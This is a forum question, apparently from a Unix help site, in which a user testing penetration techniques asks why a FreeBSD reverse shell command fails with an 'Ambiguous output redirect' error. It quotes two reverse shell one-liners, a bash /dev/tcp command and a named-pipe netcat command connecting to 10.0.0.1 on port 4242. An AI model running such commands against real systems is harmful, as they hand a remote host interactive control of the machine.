Sample Header Ad - 728x90

FreeBSD Reverse Shell Command Issue: Ambiguous Output Redirect Error

-1 votes
1 answer
563 views
I’ve been experimenting with penetration testing recently, and I need to use reverse shell techniques for testing. I’ve previously used reverse shell on Ubuntu with the following command: /bin/bash -i >& /dev/tcp//9090 0>&1 Now, I want to achieve the same on a FreeBSD system for testing purposes. I found this website Reverse Shell Cheatsheet and saw the following command: rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 > /tmp/f However, when I tried to implement it, I encountered an "Ambiguous output redirect" error. Initially, using nc 9090 works successfully. Therefore, I’m looking for assistance to resolve this issue. Thank you!
Asked by HsingLI (11 rep)
Jun 26, 2024, 09:04 AM
Last activity: Jun 27, 2024, 05:45 PM